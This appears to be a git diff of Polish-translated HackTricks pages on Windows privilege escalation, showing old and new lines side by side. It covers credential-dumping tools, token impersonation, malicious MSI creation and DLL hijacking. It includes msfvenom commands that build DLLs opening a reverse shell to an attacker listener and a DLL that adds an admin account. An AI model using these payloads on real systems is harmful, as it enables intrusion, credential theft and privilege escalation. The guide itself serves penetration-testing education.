[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Wyciąga informacje o zapisanych sesjach PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough w lokalnym.**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Wyciąga dane uwierzytelniające z Menedżera poświadczeń. Wykryto.**\
[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Ekstrahuje informacje o zapisanych sesjach PuTTY, WinSCP, SuperPuTTY, FileZilla i RDP. Użyj -Thorough w lokalnym.**\
[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Ekstrahuje dane uwierzytelniające z Menedżera poświadczeń. Wykryto.**\
[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Rozprzestrzenia zebrane hasła w domenie**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh to narzędzie do spoofingu PowerShell ADIDNS/LLMNR/mDNS/NBNS i man-in-the-middle.**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Podstawowa enumeracja privesc Windows**\
[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh to narzędzie do spoofingu ADIDNS/LLMNR/mDNS/NBNS i man-in-the-middle w PowerShell.**\
[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Podstawowa enumeracja privesc w Windows**\
[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Szukaj znanych luk w privesc (DEPRECATED dla Watson)\
[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Lokalne kontrole **(Wymaga praw administratora)**
@ -1386,7 +1384,7 @@ https://github.com/sailay1996/RpcSsImpersonator
[**Watson**](https://github.com/rasta-mouse/Watson) -- Szukaj znanych luk w privesc (wymaga kompilacji przy użyciu VisualStudio) ([**wstępnie skompilowane**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumeruje hosta w poszukiwaniu błędnych konfiguracji (bardziej narzędzie do zbierania informacji niż privesc) (wymaga kompilacji) **(**[**wstępnie skompilowane**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Wyciąga dane uwierzytelniające z wielu programów (wstępnie skompilowane exe w github)**\
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Ekstrahuje dane uwierzytelniające z wielu programów (wstępnie skompilowane exe w github)**\
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port PowerUp do C#**\
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Sprawdź błędne konfiguracje (wykonywalny plik wstępnie skompilowany w github). Nie zalecane. Nie działa dobrze w Win10.\
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Sprawdź możliwe błędne konfiguracje (exe z pythona). Nie zalecane. Nie działa dobrze w Win10.

View File

@ -50,18 +50,18 @@ SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
```
lub używając _Process Explorer_ z Sysinternals (wybierz proces i przejdź do zakładki "Security"):
or using _Process Explorer_ from Sysinternals (select process and access"Security" tab):
![](<../../images/image (772).png>)
### Lokalny administrator
Gdy lokalny administrator się loguje, **tworzone są dwa tokeny dostępu**: jeden z uprawnieniami administratora i drugi z normalnymi uprawnieniami. **Domyślnie**, gdy ten użytkownik uruchamia proces, używany jest ten z **zwykłymi** (nie-administratorskimi) **uprawnieniami**. Gdy ten użytkownik próbuje **wykonać** cokolwiek **jako administrator** ("Uruchom jako administrator" na przykład), **UAC** zostanie użyty do zapytania o pozwolenie.\
Jeśli chcesz [**dowiedzieć się więcej o UAC, przeczytaj tę stronę**](../authentication-credentials-uac-and-efs/#uac)**.**
Jeśli chcesz [**dowiedzieć się więcej o UAC, przeczytaj tę stronę**](../authentication-credentials-uac-and-efs/index.html#uac)**.**
### Uwierzytelnianie użytkownika
Jeśli masz **ważne dane logowania innego użytkownika**, możesz **utworzyć** **nową sesję logowania** z tymi danymi:
Jeśli masz **ważne dane uwierzytelniające innego użytkownika**, możesz **utworzyć** **nową sesję logowania** z tymi danymi:
```
runas /user:domain\username cmd.exe
```
@ -70,7 +70,7 @@ Możesz uruchomić proces, który **używa różnych poświadczeń do uzyskiwani
```
runas /user:domain\username /netonly cmd.exe
```
To jest przydatne, jeśli masz użyteczne dane uwierzytelniające do uzyskania dostępu do obiektów w sieci, ale te dane uwierzytelniające nie są ważne w bieżącym hoście, ponieważ będą używane tylko w sieci (w bieżącym hoście będą używane uprawnienia bieżącego użytkownika).
To jest przydatne, jeśli masz użyteczne poświadczenia do uzyskania dostępu do obiektów w sieci, ale te poświadczenia nie są ważne w bieżącym hoście, ponieważ będą używane tylko w sieci (w bieżącym hoście będą używane uprawnienia bieżącego użytkownika).
### Typy tokenów
@ -79,17 +79,17 @@ Dostępne są dwa typy tokenów:
- **Primary Token**: Służy jako reprezentacja poświadczeń bezpieczeństwa procesu. Tworzenie i przypisywanie tokenów głównych do procesów to działania wymagające podwyższonych uprawnień, co podkreśla zasadę separacji uprawnień. Zazwyczaj usługa uwierzytelniania jest odpowiedzialna za tworzenie tokenów, podczas gdy usługa logowania zajmuje się ich przypisaniem do powłoki systemu operacyjnego użytkownika. Warto zauważyć, że procesy dziedziczą główny token swojego procesu macierzystego w momencie tworzenia.
- **Impersonation Token**: Umożliwia aplikacji serwerowej tymczasowe przyjęcie tożsamości klienta w celu uzyskania dostępu do zabezpieczonych obiektów. Mechanizm ten jest podzielony na cztery poziomy działania:
- **Anonymous**: Przyznaje dostęp serwera podobny do tego, który ma nieznany użytkownik.
- **Identification**: Pozwala serwerowi na weryfikację tożsamości klienta bez wykorzystania jej do uzyskania dostępu do obiektów.
- **Identification**: Umożliwia serwerowi weryfikację tożsamości klienta bez wykorzystania jej do uzyskania dostępu do obiektów.
- **Impersonation**: Umożliwia serwerowi działanie pod tożsamością klienta.
- **Delegation**: Podobnie jak Impersonation, ale obejmuje możliwość rozszerzenia tej tożsamości na zdalne systemy, z którymi serwer wchodzi w interakcje, zapewniając zachowanie poświadczeń.
#### Impersonate Tokens
Używając modułu _**incognito**_ w metasploit, jeśli masz wystarczające uprawnienia, możesz łatwo **wylistować** i **przyjąć** inne **tokeny**. Może to być przydatne do wykonywania **działań, jakbyś był innym użytkownikiem**. Możesz również **podnieść uprawnienia** za pomocą tej techniki.
Korzystając z modułu _**incognito**_ w metasploit, jeśli masz wystarczające uprawnienia, możesz łatwo **wylistować** i **przyjąć** inne **tokeny**. Może to być przydatne do wykonywania **działań, jakbyś był innym użytkownikiem**. Możesz również **eskalować uprawnienia** za pomocą tej techniki.
### Token Privileges
Dowiedz się, które **uprawnienia tokenów mogą być nadużywane do podnoszenia uprawnień:**
Dowiedz się, które **uprawnienia tokenów mogą być nadużywane do eskalacji uprawnień:**
{{#ref}}
privilege-escalation-abusing-tokens.md

View File

@ -2,11 +2,11 @@
# Tworzenie złośliwego MSI i uzyskiwanie uprawnień administratora
Tworzenie instalatora MSI zostanie przeprowadzone przy użyciu wixtools, a konkretnie zostaną wykorzystane [wixtools](http://wixtoolset.org). Warto wspomnieć, że próbowano alternatywnych budowniczych MSI, ale nie były one skuteczne w tym przypadku.
Tworzenie instalatora MSI będzie realizowane za pomocą wixtools, a konkretnie zostaną wykorzystane [wixtools](http://wixtoolset.org). Warto wspomnieć, że próbowano alternatywnych budowniczych MSI, ale nie były one skuteczne w tym przypadku.
Aby uzyskać pełne zrozumienie przykładów użycia wix MSI, zaleca się zapoznanie się z [tą stroną](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Tutaj można znaleźć różne przykłady ilustrujące użycie wix MSI.
Aby uzyskać pełne zrozumienie przykładów użycia wix MSI, zaleca się zapoznanie się z [tą stroną](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with). Znajdziesz tam różne przykłady ilustrujące użycie wix MSI.
Celem jest wygenerowanie MSI, które uruchomi plik lnk. Aby to osiągnąć, można wykorzystać następujący kod XML ([xml stąd](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)):
Celem jest wygenerowanie MSI, które uruchomi plik lnk. Aby to osiągnąć, można wykorzystać następujący kod XML ([xml stąd](https://0xrick.github.io/hack-the-box/ethereal/index.html#Creating-Malicious-msi-and-getting-root)):
```markup
<?xml version="1.0"?>
<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">
@ -50,7 +50,7 @@ Ponadto, light.exe, kolejne narzędzie z wixtools, zostanie użyte do stworzenia
```
light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix
```
Podobnie jak w poprzednim poleceniu, w poście znajduje się obraz ilustrujący polecenie i jego wynik.
Podobnie jak w poprzednim poleceniu, w poście znajduje się obrazek ilustrujący polecenie i jego wynik.
Należy zauważyć, że chociaż ten podsumowanie ma na celu dostarczenie cennych informacji, zaleca się odwołanie do oryginalnego posta w celu uzyskania bardziej szczegółowych informacji i dokładnych instrukcji.

View File

@ -12,7 +12,7 @@ DLL Hijacking polega na manipulowaniu zaufaną aplikacją w celu załadowania z
Wykorzystywanych jest kilka metod do DLL hijacking, z których każda ma swoją skuteczność w zależności od strategii ładowania DLL aplikacji:
1. **DLL Replacement**: Wymiana autentycznego DLL na złośliwy, opcjonalnie z użyciem DLL Proxying w celu zachowania funkcjonalności oryginalnego DLL.
1. **DLL Replacement**: Wymiana prawdziwego DLL na złośliwy, opcjonalnie z użyciem DLL Proxying w celu zachowania funkcjonalności oryginalnego DLL.
2. **DLL Search Order Hijacking**: Umieszczanie złośliwego DLL w ścieżce wyszukiwania przed legalnym, wykorzystując wzór wyszukiwania aplikacji.
3. **Phantom DLL Hijacking**: Tworzenie złośliwego DLL, który aplikacja załadowuje, myśląc, że jest to nieistniejący wymagany DLL.
4. **DLL Redirection**: Modyfikowanie parametrów wyszukiwania, takich jak `%PATH%` lub pliki `.exe.manifest` / `.exe.local`, aby skierować aplikację do złośliwego DLL.
@ -27,16 +27,16 @@ Najczęstszym sposobem na znalezienie brakujących DLL w systemie jest uruchomie
![](<../../images/image (313).png>)
i pokazując tylko **Aktywność Systemu Plików**:
i pokazując tylko **Aktywność systemu plików**:
![](<../../images/image (314).png>)
Jeśli szukasz **brakujących dll w ogóle**, powinieneś **pozostawić** to uruchomione przez kilka **sekund**.\
Jeśli szukasz **brakującego dll w konkretnym pliku wykonywalnym**, powinieneś ustawić **inny filtr, taki jak "Nazwa procesu" "zawiera" "\<nazwa exec>", wykonać go i zatrzymać rejestrowanie zdarzeń**.
Jeśli szukasz **brakującego dll w konkretnej aplikacji**, powinieneś ustawić **inny filtr, taki jak "Nazwa procesu" "zawiera" "\<nazwa exec>", uruchomić go i zatrzymać rejestrowanie zdarzeń**.
## Exploiting Missing Dlls
Aby eskalować uprawnienia, najlepszą szansą, jaką mamy, jest możliwość **napisania dll, który proces z uprawnieniami spróbuje załadować** w jednym z **miejsc, gdzie będzie wyszukiwany**. Dlatego będziemy mogli **napisać** dll w **folderze**, w którym **dll jest wyszukiwany przed** folderem, w którym znajduje się **oryginalny dll** (dziwny przypadek), lub będziemy mogli **napisać w jakimś folderze, w którym dll będzie wyszukiwany**, a oryginalny **dll nie istnieje** w żadnym folderze.
Aby eskalować uprawnienia, najlepszą szansą, jaką mamy, jest możliwość **napisania dll, który proces z uprawnieniami spróbuje załadować** w jakimś **miejscu, gdzie będzie szukany**. Dlatego będziemy mogli **napisać** dll w **folderze**, w którym **dll jest wyszukiwany przed** folderem, w którym znajduje się **oryginalny dll** (dziwny przypadek), lub będziemy mogli **napisać w jakimś folderze, gdzie dll będzie wyszukiwany**, a oryginalny **dll nie istnieje** w żadnym folderze.
### Dll Search Order
@ -46,9 +46,9 @@ Aby eskalować uprawnienia, najlepszą szansą, jaką mamy, jest możliwość **
Możesz zobaczyć **kolejność wyszukiwania DLL w systemach 32-bitowych** poniżej:
1. Katalog, z którego załadowano aplikację.
1. Katalog, z którego aplikacja została załadowana.
2. Katalog systemowy. Użyj funkcji [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya), aby uzyskać ścieżkę do tego katalogu. (_C:\Windows\System32_)
3. Katalog systemu 16-bitowego. Nie ma funkcji, która uzyskuje ścieżkę do tego katalogu, ale jest on przeszukiwany. (_C:\Windows\System_)
3. Katalog systemowy 16-bitowy. Nie ma funkcji, która uzyskuje ścieżkę do tego katalogu, ale jest on przeszukiwany. (_C:\Windows\System_)
4. Katalog Windows. Użyj funkcji [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya), aby uzyskać ścieżkę do tego katalogu. (_C:\Windows_)
5. Bieżący katalog.
6. Katalogi wymienione w zmiennej środowiskowej PATH. Należy zauważyć, że nie obejmuje to ścieżki per-aplikacji określonej przez klucz rejestru **App Paths**. Klucz **App Paths** nie jest używany przy obliczaniu ścieżki wyszukiwania DLL.
@ -57,15 +57,15 @@ To jest **domyślna** kolejność wyszukiwania z włączonym **SafeDllSearchMode
Jeśli funkcja [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) jest wywoływana z **LOAD_WITH_ALTERED_SEARCH_PATH**, wyszukiwanie zaczyna się w katalogu modułu wykonywalnego, który **LoadLibraryEx** ładuje.
Na koniec zauważ, że **dll może być załadowany, wskazując bezwzględną ścieżkę zamiast tylko nazwy**. W takim przypadku ten dll **będzie wyszukiwany tylko w tej ścieżce** (jeśli dll ma jakiekolwiek zależności, będą one wyszukiwane tak, jakby były załadowane tylko po nazwie).
Na koniec zauważ, że **dll może być załadowany, wskazując bezwzględną ścieżkę zamiast tylko nazwy**. W takim przypadku ten dll **będzie wyszukiwany tylko w tej ścieżce** (jeśli dll ma jakieś zależności, będą one wyszukiwane tak, jakby były ładowane tylko po nazwie).
Istnieją inne sposoby na zmianę sposobów zmiany kolejności wyszukiwania, ale nie zamierzam ich tutaj wyjaśniać.
Istnieją inne sposoby na zmianę kolejności wyszukiwania, ale nie zamierzam ich tutaj wyjaśniać.
#### Exceptions on dll search order from Windows docs
W dokumentacji Windows zauważono pewne wyjątki od standardowej kolejności wyszukiwania DLL:
Niektóre wyjątki od standardowej kolejności wyszukiwania DLL są zauważane w dokumentacji Windows:
- Gdy napotkano **DLL, który dzieli swoją nazwę z już załadowanym w pamięci**, system pomija zwykłe wyszukiwanie. Zamiast tego wykonuje sprawdzenie przekierowania i manifestu, zanim domyślnie przejdzie do DLL już w pamięci. **W tej sytuacji system nie przeprowadza wyszukiwania DLL**.
- Gdy napotkany jest **DLL, który dzieli swoją nazwę z już załadowanym w pamięci**, system pomija zwykłe wyszukiwanie. Zamiast tego wykonuje sprawdzenie przekierowania i manifestu, zanim domyślnie przejdzie do DLL już w pamięci. **W tej sytuacji system nie przeprowadza wyszukiwania DLL**.
- W przypadkach, gdy DLL jest rozpoznawany jako **znany DLL** dla bieżącej wersji Windows, system wykorzysta swoją wersję znanego DLL, wraz z wszelkimi jego zależnymi DLL, **pomijając proces wyszukiwania**. Klucz rejestru **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** zawiera listę tych znanych DLL.
- Jeśli **DLL ma zależności**, wyszukiwanie tych zależnych DLL odbywa się tak, jakby były wskazywane tylko przez swoje **nazwy modułów**, niezależnie od tego, czy początkowy DLL został zidentyfikowany przez pełną ścieżkę.
@ -74,9 +74,9 @@ W dokumentacji Windows zauważono pewne wyjątki od standardowej kolejności wys
**Wymagania**:
- Zidentyfikuj proces, który działa lub będzie działał z **innymi uprawnieniami** (ruch poziomy lub boczny), który **nie ma DLL**.
- Upewnij się, że **dostęp do zapisu** jest dostępny dla dowolnego **katalogu**, w którym **DLL** będzie **wyszukiwany**. To miejsce może być katalogiem pliku wykonywalnego lub katalogiem w ścieżce systemowej.
- Upewnij się, że **dostęp do zapisu** jest dostępny dla dowolnego **katalogu**, w którym **DLL** będzie **wyszukiwany**. To miejsce może być katalogiem wykonywalnym lub katalogiem w ścieżce systemowej.
Tak, wymagania są skomplikowane do znalezienia, ponieważ **domyślnie jest dość dziwne znaleźć uprzywilejowany plik wykonywalny bez dll** i jest jeszcze **dziwniejsze mieć uprawnienia do zapisu w folderze ścieżki systemowej** (domyślnie nie możesz). Ale w źle skonfigurowanych środowiskach jest to możliwe.\
Tak, wymagania są skomplikowane do znalezienia, ponieważ **domyślnie dość dziwne jest znalezienie uprzywilejowanego pliku wykonywalnego bez dll** i jest jeszcze **dziwniejsze, aby mieć uprawnienia do zapisu w folderze ścieżki systemowej** (domyślnie nie możesz). Ale w źle skonfigurowanych środowiskach jest to możliwe.\
W przypadku, gdy masz szczęście i spełniasz wymagania, możesz sprawdzić projekt [UACME](https://github.com/hfiref0x/UACME). Nawet jeśli **głównym celem projektu jest obejście UAC**, możesz tam znaleźć **PoC** DLL hijacking dla wersji Windows, której możesz użyć (prawdopodobnie zmieniając tylko ścieżkę folderu, w którym masz uprawnienia do zapisu).
Zauważ, że możesz **sprawdzić swoje uprawnienia w folderze**, wykonując:
@ -106,14 +106,14 @@ Inne interesujące narzędzia automatyczne do odkrywania tej podatności to **fu
### Przykład
W przypadku znalezienia scenariusza, który można wykorzystać, jedną z najważniejszych rzeczy, aby skutecznie go wykorzystać, byłoby **stworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które wykonywalny plik będzie z niej importować**. Tak czy inaczej, zauważ, że Dll Hijacking jest przydatny do [eskalacji z poziomu Medium Integrity do High **(obejście UAC)**](../authentication-credentials-uac-and-efs.md#uac) lub z [**High Integrity do SYSTEM**](./#from-high-integrity-to-system)**.** Możesz znaleźć przykład **jak stworzyć ważną dll** w tym badaniu dotyczącym dll hijacking skoncentrowanym na dll hijacking do wykonania: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
Ponadto, w **następnej sekcji** możesz znaleźć kilka **podstawowych kodów dll**, które mogą być przydatne jako **szablony** lub do stworzenia **dll z niepotrzebnymi funkcjami eksportowanymi**.
W przypadku znalezienia scenariusza do wykorzystania, jedną z najważniejszych rzeczy, aby skutecznie go wykorzystać, byłoby **stworzenie dll, która eksportuje przynajmniej wszystkie funkcje, które wykonywalny plik będzie z niej importować**. Tak czy inaczej, zauważ, że Dll Hijacking jest przydatny do [eskalacji z poziomu Medium Integrity do High **(obejście UAC)**](../authentication-credentials-uac-and-efs.md#uac) lub z [**High Integrity do SYSTEM**](#from-high-integrity-to-system)**.** Możesz znaleźć przykład **jak stworzyć ważną dll** w tym badaniu dotyczącym dll hijacking skoncentrowanym na dll hijacking do wykonania: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\
Ponadto, w **następnej sekcji** znajdziesz kilka **podstawowych kodów dll**, które mogą być przydatne jako **szablony** lub do stworzenia **dll z niepotrzebnymi funkcjami eksportowanymi**.
## **Tworzenie i kompilowanie Dlls**
### **Dll Proxifying**
W zasadzie **Dll proxy** to Dll zdolna do **wykonywania twojego złośliwego kodu po załadowaniu**, ale także do **ekspozycji** i **działania** zgodnie z **oczekiwaniami** poprzez **przekazywanie wszystkich wywołań do prawdziwej biblioteki**.
W zasadzie **Dll proxy** to Dll zdolna do **wykonywania twojego złośliwego kodu po załadowaniu**, ale także do **ekspozycji** i **działania** zgodnie z **oczekiwaniami**, **przekazując wszystkie wywołania do prawdziwej biblioteki**.
Za pomocą narzędzia [**DLLirant**](https://github.com/redteamsocietegenerale/DLLirant) lub [**Spartacus**](https://github.com/Accenture/Spartacus) możesz faktycznie **wskazać wykonywalny plik i wybrać bibliotekę**, którą chcesz proxify i **wygenerować proxified dll** lub **wskazać Dll** i **wygenerować proxified dll**.
@ -123,7 +123,7 @@ Za pomocą narzędzia [**DLLirant**](https://github.com/redteamsocietegenerale/D
```bash
msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
**Zdobądź meterpreter (x86):**
**Uzyskaj meterpreter (x86):**
```bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.169.0.100 LPORT=4444 -f dll -o msf.dll
```
@ -133,7 +133,7 @@ msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
```
### Twoje własne
Zauważ, że w kilku przypadkach Dll, który kompilujesz, musi **eksportować kilka funkcji**, które będą ładowane przez proces ofiary; jeśli te funkcje nie istnieją, **plik binarny nie będzie w stanie ich załadować** i **eksploit się nie powiedzie**.
Zauważ, że w kilku przypadkach Dll, który kompilujesz, musi **eksportować kilka funkcji**, które będą ładowane przez proces ofiary; jeśli te funkcje nie istnieją, **plik binarny nie będzie w stanie ich załadować** i **eksploatacja zakończy się niepowodzeniem**.
```c
// Tested in Win10
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared

View File

@ -2,23 +2,22 @@
{{#include ../../../banners/hacktricks-training.md}}
## Podstawowe informacje
## Basic Information
DLL Hijacking polega na manipulowaniu zaufaną aplikacją w celu załadowania złośliwego DLL. Termin ten obejmuje kilka taktyk, takich jak **DLL Spoofing, Injection i Side-Loading**. Jest głównie wykorzystywany do wykonywania kodu, osiągania trwałości i, rzadziej, eskalacji uprawnień. Mimo że skupiamy się tutaj na eskalacji, metoda hijackingu pozostaje spójna w różnych celach.
### Powszechne techniki
### Common Techniques
W przypadku DLL hijacking stosuje się kilka metod, z których każda ma swoją skuteczność w zależności od strategii ładowania DLL aplikacji:
1. **Zastąpienie DLL**: Wymiana autentycznego DLL na złośliwy, opcjonalnie z użyciem DLL Proxying w celu zachowania funkcjonalności oryginalnego DLL.
2. **Hijacking kolejności wyszukiwania DLL**: Umieszczanie złośliwego DLL w ścieżce wyszukiwania przed legalnym, wykorzystując wzór wyszukiwania aplikacji.
3. **Hijacking Phantom DLL**: Tworzenie złośliwego DLL, który aplikacja załadowuje, myśląc, że jest to nieistniejący wymagany DLL.
4. **Redirection DLL**: Modyfikowanie parametrów wyszukiwania, takich jak `%PATH%` lub pliki `.exe.manifest` / `.exe.local`, aby skierować aplikację do złośliwego DLL.
5. **Zastąpienie DLL w WinSxS**: Zastąpienie legalnego DLL złośliwym odpowiednikiem w katalogu WinSxS, metoda często związana z DLL side-loading.
6. **Hijacking DLL z użyciem ścieżki względnej**: Umieszczanie złośliwego DLL w katalogu kontrolowanym przez użytkownika z skopiowaną aplikacją, przypominając techniki Binary Proxy Execution.
1. **DLL Replacement**: Wymiana prawdziwego DLL na złośliwy, opcjonalnie z użyciem DLL Proxying w celu zachowania funkcjonalności oryginalnego DLL.
2. **DLL Search Order Hijacking**: Umieszczanie złośliwego DLL w ścieżce wyszukiwania przed legalnym, wykorzystując wzór wyszukiwania aplikacji.
3. **Phantom DLL Hijacking**: Tworzenie złośliwego DLL, który aplikacja załadowuje, myśląc, że jest to nieistniejący wymagany DLL.
4. **DLL Redirection**: Modyfikowanie parametrów wyszukiwania, takich jak `%PATH%` lub pliki `.exe.manifest` / `.exe.local`, aby skierować aplikację do złośliwego DLL.
5. **WinSxS DLL Replacement**: Zastępowanie legalnego DLL złośliwym odpowiednikiem w katalogu WinSxS, metoda często związana z DLL side-loading.
6. **Relative Path DLL Hijacking**: Umieszczanie złośliwego DLL w katalogu kontrolowanym przez użytkownika z skopiowaną aplikacją, przypominając techniki Binary Proxy Execution.
## Znajdowanie brakujących DLL
## Finding missing Dlls
Najczęstszym sposobem na znalezienie brakujących DLL w systemie jest uruchomienie [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) z sysinternals, **ustawiając** **następujące 2 filtry**:
@ -30,14 +29,14 @@ i pokazując tylko **Aktywność systemu plików**:
![](<../../../images/image (153).png>)
Jeśli szukasz **brakujących DLL ogólnie**, powinieneś **pozostawić** to działające przez kilka **sekund**.\
Jeśli szukasz **brakującego DLL w konkretnym pliku wykonywalnym**, powinieneś ustawić **inny filtr, taki jak "Nazwa procesu" "zawiera" "\<nazwa exec>", wykonać go i zatrzymać rejestrowanie zdarzeń**.
Jeśli szukasz **brakujących dll w ogóle**, powinieneś **pozostawić** to działające przez kilka **sekund**.\
Jeśli szukasz **brakującego dll w konkretnym pliku wykonywalnym**, powinieneś ustawić **inny filtr, taki jak "Nazwa procesu" "zawiera" "\<nazwa exec>", wykonać go i zatrzymać rejestrowanie zdarzeń**.
## Wykorzystywanie brakujących DLL
## Exploiting Missing Dlls
Aby eskalować uprawnienia, najlepszą szansą, jaką mamy, jest możliwość **napisania DLL, który proces z uprawnieniami spróbuje załadować** w jednym z **miejsc, gdzie będzie wyszukiwany**. Dlatego będziemy mogli **napisać** DLL w **katalogu**, w którym **DLL jest wyszukiwany przed** katalogiem, w którym znajduje się **oryginalny DLL** (dziwny przypadek), lub będziemy mogli **napisać w jakimś katalogu, w którym DLL będzie wyszukiwany**, a oryginalny **DLL nie istnieje** w żadnym katalogu.
Aby eskalować uprawnienia, najlepszą szansą, jaką mamy, jest możliwość **napisania dll, który proces z uprawnieniami spróbuje załadować** w jednym z **miejsc, gdzie będzie szukany**. Dlatego będziemy mogli **napisać** dll w **folderze**, w którym **dll jest wyszukiwany przed** folderem, w którym znajduje się **oryginalny dll** (dziwny przypadek), lub będziemy mogli **napisać w jakimś folderze, gdzie dll będzie wyszukiwany**, a oryginalny **dll nie istnieje** w żadnym folderze.
### Kolejność wyszukiwania DLL
### Dll Search Order
**W dokumentacji** [**Microsoftu**](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#factors-that-affect-searching) **możesz znaleźć, jak DLL są ładowane konkretnie.**
@ -56,27 +55,27 @@ To jest **domyślna** kolejność wyszukiwania z włączonym **SafeDllSearchMode
Jeśli funkcja [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) jest wywoływana z **LOAD_WITH_ALTERED_SEARCH_PATH**, wyszukiwanie rozpoczyna się w katalogu modułu wykonywalnego, który **LoadLibraryEx** ładuje.
Na koniec zauważ, że **DLL może być załadowany, wskazując bezwzględną ścieżkę, a nie tylko nazwę**. W takim przypadku ten DLL **będzie wyszukiwany tylko w tej ścieżce** (jeśli DLL ma jakiekolwiek zależności, będą one wyszukiwane tak, jakby były załadowane tylko po nazwie).
Na koniec zauważ, że **dll może być załadowany, wskazując bezwzględną ścieżkę zamiast tylko nazwy**. W takim przypadku ten dll **będzie wyszukiwany tylko w tej ścieżce** (jeśli dll ma jakieś zależności, będą one wyszukiwane tak, jakby były ładowane tylko po nazwie).
Istnieją inne sposoby na zmianę kolejności wyszukiwania, ale nie zamierzam ich tutaj wyjaśniać.
Istnieją inne sposoby na zmianę sposobów zmiany kolejności wyszukiwania, ale nie zamierzam ich tutaj wyjaśniać.
#### Wyjątki w kolejności wyszukiwania DLL w dokumentacji Windows
#### Exceptions on dll search order from Windows docs
W dokumentacji Windows zauważono pewne wyjątki od standardowej kolejności wyszukiwania DLL:
Niektóre wyjątki od standardowej kolejności wyszukiwania DLL są zauważane w dokumentacji Windows:
- Gdy napotkany jest **DLL, który dzieli swoją nazwę z już załadowanym w pamięci**, system pomija zwykłe wyszukiwanie. Zamiast tego wykonuje sprawdzenie przekierowania i manifestu, zanim domyślnie przejdzie do DLL już w pamięci. **W tej sytuacji system nie przeprowadza wyszukiwania DLL**.
- W przypadkach, gdy DLL jest rozpoznawany jako **znany DLL** dla bieżącej wersji Windows, system wykorzysta swoją wersję znanego DLL, wraz z wszelkimi jego zależnymi DLL, **pomijając proces wyszukiwania**. Klucz rejestru **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** zawiera listę tych znanych DLL.
- Jeśli **DLL ma zależności**, wyszukiwanie tych zależnych DLL odbywa się tak, jakby były wskazane tylko przez swoje **nazwy modułów**, niezależnie od tego, czy początkowy DLL został zidentyfikowany przez pełną ścieżkę.
- Jeśli **DLL ma zależności**, wyszukiwanie tych zależnych DLL jest przeprowadzane tak, jakby były wskazywane tylko przez swoje **nazwy modułów**, niezależnie od tego, czy początkowy DLL został zidentyfikowany przez pełną ścieżkę.
### Eskalacja uprawnień
### Escalating Privileges
**Wymagania**:
- Zidentyfikuj proces, który działa lub będzie działał z **innymi uprawnieniami** (ruch poziomy lub boczny), który **nie ma DLL**.
- Upewnij się, że **dostęp do zapisu** jest dostępny dla dowolnego **katalogu**, w którym **DLL** będzie **wyszukiwany**. To miejsce może być katalogiem pliku wykonywalnego lub katalogiem w ścieżce systemowej.
Tak, wymagania są skomplikowane do znalezienia, ponieważ **domyślnie dość dziwne jest znalezienie pliku wykonywalnego z uprawnieniami, który nie ma DLL** i jest jeszcze **dziwniejsze, aby mieć uprawnienia do zapisu w folderze ścieżki systemowej** (domyślnie nie możesz). Ale w źle skonfigurowanych środowiskach jest to możliwe.\
W przypadku, gdy masz szczęście i spełniasz wymagania, możesz sprawdzić projekt [UACME](https://github.com/hfiref0x/UACME). Nawet jeśli **głównym celem projektu jest obejście UAC**, możesz tam znaleźć **PoC** DLL hijacking dla wersji Windows, której możesz użyć (prawdopodobnie zmieniając tylko ścieżkę folderu, w którym masz uprawnienia do zapisu).
